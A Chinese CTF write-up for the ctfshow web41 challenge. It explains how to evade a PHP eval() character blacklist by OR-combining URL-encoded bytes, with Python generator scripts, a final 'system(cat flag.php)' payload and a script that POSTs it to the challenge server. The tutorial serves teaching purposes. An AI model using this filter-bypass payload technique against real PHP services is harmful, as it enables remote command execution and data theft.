这道题确实难,查了很多个大佬的题解,发现这道题考察的是或运算生成字符,但是过了n篇文章发现全是直接用羽师傅的脚本,没有人说这个脚本是怎么运行的,莫名其妙就出结果,脑瓜嗡嗡,可能大佬们默认这脚本大家一看就会用吧,小白只能自己研究了,于是我研究了羽师傅的脚本,自己仿照写了一个!

目录

web41

代码分析:

第一步:通过或运算构造字符

python代码

分析

运行结果

第二步:构造payload

python代码

分析

第三步提交payload

运行结果

payload :

结果

附加步骤自动化脚本

flag:


web41

代码分析:

    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");

首先是POST方法传递参数,其次过滤了基本上所有的可见字符,但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符

第一步:通过或运算构造字符

url编码:对于服务器而言,编码前后的字符串并没有什么区别,服务器能够自动识别。其实url编码就是一个字符ascii的十六进制,不过稍微有些变动,需要在前面加上“%”,即ascii转成十六进制加上%就是url编码,但是url还包括许多ascii中没有的字符

或运算:10000 与00001或运算后结果为10001,即有1为1

构造字符:因为过滤了大部分可见字符,为了使用这些可见字符我们可以使用

“不可见字符”|“不可见字符”=可见字符的方法,即“未过滤字符|未过滤字符”=“过滤的字符”

使用这种方法来绕过过滤,所以第一步就是找到这种未过滤字符

python代码

import re
import urllib
from urllib import parse
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
for i in range(256):for j in range(256):if re.search(pattern, chr(i)):breakif re.search(pattern, chr(j)):continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i = hex(i)[2:]if j < 16:hex_j = "0" + hex(j)[2:]else:hex_j = hex(j)[2:]hex_i = '%' + hex_ihex_j = '%' + hex_jc = chr(ord(urllib.parse.unquote(hex_i)) | ord(urllib.parse.unquote(hex_j)))if (c == 's'):print(hex_i, hex_j);

分析

看上去很长,其实不难,一行一行分析

首先url编码的范围大概在0-256(十进制),通过两层循环

i为未过滤字符1

j为未过滤字符2

pattern是题目中过滤的内容,前面提到i与j是未过滤的字符,所以我们要把过滤的字符剔除

re.search是python中正则匹配函数,其中第一个参数为正则表达式,第二个参数是要匹配的字符,如果匹配则返回匹配的位置

因为过滤的字符都是可见字符,且都存在ascii编码,可以直接将i,j当作ascii,利用chr函数转为字符

因为是双层循环,所以当i是可见字符时直接跳过第二层循环,当j是可见字符时跳过该次循环(这块不理解先去学python吧)

接下来就是转换成url编码,就是%16进制

因为python中hex()函数返回值为0x+十六进制,但url编码中没有0x所以使用[2:]截取0x后面的内容

当i,j<16时如4 hex(4)=0x4,但url编码应该为%04所以在hex()[2:0]前面加字符"0"

最后在数字前面加'%'转换为url编码

到这里就是用来筛选可以组合成我们需要字符的两个未知字符的url了

python中 |运算只能使用数字,所以我们先将url编码解码,再使用ord函数将解出来的字符转回ascii,之后进行或运算,运算后将结果使用chr函数转回字符

判断或运算得到的字符是否是我们需要的字符,这里使用的是s,如果是则输出两个未知字符的url编码

运行结果

很多的,只展示一部分

这几组url编码进行或运算都能得到字符s

即s=url解码(%13|%60)

第二步:构造payload

如构造一个system('ls')

这里有两个知识点:

①system('ls')与(system)('ls')是一样的都可以执行

②要使用或运算构造字符串时应将所有如刚才提到的未知字符1拼接到一起|未知字符2拼接到一起

说起来很抽象,举个例子

system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")

其中%13|%60=s     %19|%60=y      %14|%60=t

很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

python代码

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):t1 = ""t2 = ""for k in str1[p]:for i in range(256):for j in range(256):if re.search(pattern,chr(i)) :breakif re.search(pattern,chr(j)) :continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i=hex(i)[2:]if j < 16:hex_j="0"+hex(j)[2:]else:hex_j=hex(j)[2:]hex_i='%'+hex_ihex_j='%'+hex_jc=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))if(c ==k):t1=t1+hex_it2=t2+hex_jbreakelse:continuebreakprint("(\""+t1+"\"|\""+t2+"\")")

分析

这里是我们要构造的字符串 system 和 ls

p是用来控制字符串个数,两个字符串

t1和t2是用来接收每个字符的前半部分和后半部分

k是用来循环匹配每一个字符

当匹配上后,将前半部分加到t1 后半部分加到t2

每次循环完一个字符串后输出构造好的结果,将两个构造好的字符串拼接,用post方法传入即可看到结果

第三步提交payload

运行结果

上面的是system 下面的是ls

用bp提交一下,注意hackbar提交会被再次编码看不到结果

记得没有换行哈,python出来是换行的

用重发器发送一下

看到ls已经被执行了,接下来就是把ls换成cat flag.php

payload :

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

结果

附加步骤自动化脚本

到这一步其实就是用python主动提交payload

    payload=payload+("(\""+t1+"\"|\""+t2+"\")")
print(payload)
data={"c":urllib.parse.unquote(payload)
}
url="http://ae1911ce-91da-4b6c-94b2-c7a618ea88de.challenge.ctf.show/"
re=requests.post(url,data=data)
print(re.text)

就是将结果在python中拼接用requests.post发送,最后把返回结果打印一下

注意因为发送过程中会再次url编码一次所以发送前应该先url解码一次,当然因为|没有执行所以不会解成过滤字符

运行结果

flag:

ctfshow{4d245c9f-6fa0-4dd3-967a-b4ae29aaf846}

到这里就结束啦,相信大家也理解一点了,自己动手写一写吧!共勉!

CTFshow wbe41 教你写脚本相关推荐

  1. windows脚本编制引擎_手把手教你写脚本引擎(一)

    手把手教你写脚本引擎(一)--挑选语言的特性 陈梓瀚 华南理工大学软件本科05级 脚本引擎的作用在于增强程序的可配置性.从游戏到管理系统都需要脚本,甚至连工业级产品的Office.3DS Max以及A ...

  2. python 遍历usb设备_python程序员教你写脚本玩微信跳一跳,只要有耐心,你就是王者!...

    温馨提示:微信已经开始检测分数异常高的情况了,请大家不要跑太高哦 游戏模式 这是一个 2.5D 插画风格的益智游戏,玩家可以通过按压屏幕时间的长短来控制这个「小人」跳跃的距离.可能刚开始上手的时候,因 ...

  3. updater-script命令详解教你写刷机脚本

    updater-script命令详解,刷机脚本怎么写,这些问题都也算是安卓的入门知识了,今天就和大家讲解一下,讲解人是深度论坛的Seeyou,如果你想学习更多ROM制作安卓开发方面的知识,欢迎加入深度 ...

  4. 不写脚本,也可以拍摄、剪辑好视频,教你一个快速有效的方法

    今天大周来教你一个快速有效的方法,不用写脚本也能拍摄.剪辑好视频. 不写脚本怎么拍摄剪辑视频?大家都知道写脚本是一件非常麻烦.痛苦的事情. 当我们刷视频刷到类似故事情节:美满爱情故事.美满和睦的家庭. ...

  5. 怎么写脚本_直播脚本怎么写|请收下这份攻略

    "口红一哥"李佳琦为何那么牛,有人说是因为站在了风口上,有人说是因为他标志性的吆喝声.事实上,更大的因素在于他对每场直播的精心准备.比如,李佳琦推荐每款产品时,往往都会提炼出一个. ...

  6. 手把手教你写高质量Android技术博客,画图工具,录像工具,Markdown写法

    前言 作为程序员,写博客是一件很有意义的事情,可以加深自己对技术的理解,可以结交更多的朋友,记录自己的技术轨迹,而且分享可以让更多的人从中受益,独乐乐不如众乐乐嘛. 但是要写好博客也不是件容易的事,一 ...

  7. 揭秘!用标准Go语言能写脚本吗?

    导语 | Go作为一种编译型语言,经常用于实现后台服务的开发.由于Go初始的开发大佬都是C的老牌使用者,因此Go中保留了不少C的编程习惯和思想,这对C/C++ 和PHP开发者来说非常有吸引力.作为编译 ...

  8. 手把手教你写批处理-批处理的介绍

    标题:手把手教你写批处理-批处理的介绍 作者:佚名 编者:Climbing 出处:中国 DOS 联盟之联合 DOS 论坛 题注:willsort 日期:2004-09-21 ------------- ...

  9. 【万字长文】手摸手教你shell脚本编程

    [万字长文]手摸手教你shell脚本编程 我写这篇文章的目的 前段时间参加了联创团队的春令营, 为期半个多月的春令营做了三个项目, 其中有一个项目是关于shell的, 当时完全没接触过shell脚本编 ...

  10. 【转载文章】手把手教你写批处理______附加我的读书笔记

    https://www.w3cschool.cn/dosmlxxsc1/uebwv9.html 手把手教你写批处理 由 ✎﹏๓₯㎕ζั͡❦﹏﹏♛ 创建, 最后一次修改 2015-11-06 手把手教你 ...

最新文章

  1. 技术安全与伦理的较量:论道AI的能与不能 | AI Time
  2. 一文总结微软研究院Transformer霸榜模型三部曲!
  3. oracle 强制 断开,ORA-01092 ORACLE 实例终止。强制断开连接 解决方案(下)
  4. vs2015编译 pybind 动态库
  5. csol战损左轮python_CSOL欢乐拍卖会迎新春 7把战损版武器登录即赠
  6. 《Windows Phone 8 Development Internals》读书笔记-1-1-连载
  7. mysql explain 派生表_MySQL的Explain命令
  8. 使用栈解决的一类经典问题:表达式转换及求值;中缀表达式;前缀表达式,后缀表达式,中缀转前缀;中缀转后缀;后缀表达式求值;波兰式,逆波兰式
  9. ApI、toString方法、equals方法、Scanner方法基本知识
  10. RabbitMQ详解(一)
  11. 12月江苏计算机考试报名入口,江苏2019年12月计算机等级报名时间丨报名系统
  12. 转 海量数据处理(2)
  13. ccf 路径解析 java_CCF 201604-3 路径解析
  14. HTML5与传统HTML的区别
  15. 《线性代数》学习之———第一章 矩阵与方程组(1.1线性方程组)
  16. 麦克风没声音,这个选项你注意到了吗?
  17. c++基础复习(2)
  18. 【已解决】macbook软件卸载了图标还在launchpad上怎么办?一分钟搞定!
  19. 字符串—解压缩(C语言)
  20. 静态HTML页面的参数的获取

热门文章

  1. 魔兽世界服务器卡顿原理,《魔兽世界》怀旧服卡顿解决方法
  2. WebService的知识总结(一)
  3. Scrapy抓取起点中文网排行榜
  4. 可视化软件有哪些?各自的优缺点?
  5. 视频APP软件开发功能架构
  6. ZBrush建模的15个小技巧,萌新小白都用得上的干货,速看
  7. input输入身份证验证
  8. linux 系统硬件信息检测工具,在Linux上查找系统hwinfo硬件信息工具
  9. Ubuntu中安装微信(wechat)
  10. MongoChef malformed UTF-8 character sequence at offset 89